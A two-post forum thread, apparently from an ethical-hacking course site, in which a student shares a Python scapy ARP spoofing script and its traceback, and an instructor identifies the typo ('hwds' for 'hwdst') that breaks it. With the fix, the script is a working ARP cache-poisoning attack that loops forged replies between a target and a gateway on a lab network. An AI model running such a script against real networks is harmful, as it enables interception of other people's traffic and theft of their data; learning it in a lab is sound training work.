Viewing 2 posts - 1 through 2 (of 2 total)
  • Author
    Posts
  • #40015
    Peter Queen
    Participant

    Hello,

    While i run this code I get the below message:

    #!/usr/bin/env python
    
    import scapy.all as scapy
    import time
    
    def get_mac(ip):
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast/arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    
        return answered_list[0][1].hwsrc
    
    def spoof(target_ip, spoof_ip):
        target_mac = get_mac(target_ip)
        packet = scapy.ARP(op=2, pdst=target_ip, hwds=target_mac, psrc=spoof_ip)
        # print(packet.show())
        # print(packet.summary())
        scapy.send(packet)
    
    while True:
        spoof("10.0.2.6", "10.0.2.1")
        spoof("10.0.2.1", "10.0.2.6")
        time.sleep(2)

    this is the error:

    oot@kali:~/PycharmProjects/arp_spoofing# python arpspoofing.py
    Traceback (most recent call last):
    File “arpspoofing.py”, line 25, in <module>
    spoof(“10.0.2.6”, “10.0.2.1”)
    File “arpspoofing.py”, line 18, in spoof
    packet = scapy.ARP(op=2, pdst=target_ip, hwds=target_mac, psrc=spoof_ip)
    File “/usr/local/lib/python2.7/dist-packages/scapy/base_classes.py”, line 258, in __call__
    i.__init__(*args, **kargs)
    File “/usr/local/lib/python2.7/dist-packages/scapy/packet.py”, line 157, in __init__
    for fname, _ in fields:
    ValueError: too many values to unpack
    root@kali:~/PycharmProjects/arp_spoofing#

    Can you help please?

    #40084
    Diego PérezDiego Pérez
    Participant

    Hi Simo!
    You have a typo in this line:
    packet = scapy.ARP(op=2, pdst=target_ip, hwds=target_mac, psrc=spoof_ip)

    it should be hwdst not hwds.

    Change it and let me know how it goes!
    Diego

Viewing 2 posts - 1 through 2 (of 2 total)
  • You must be logged in to reply to this topic.
Privacy Overview
ZSecurity logo featuring a stylized red letter Z

This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.

Strictly Necessary Cookies

Strictly Necessary Cookie should be enabled at all times so that we can save your preferences for cookie settings.

3rd Party Cookies

This website uses Google Analytics and Linkedin to collect anonymous information such as the number of visitors to the site, and the most popular pages.

Keeping these cookies enabled helps us to improve our website.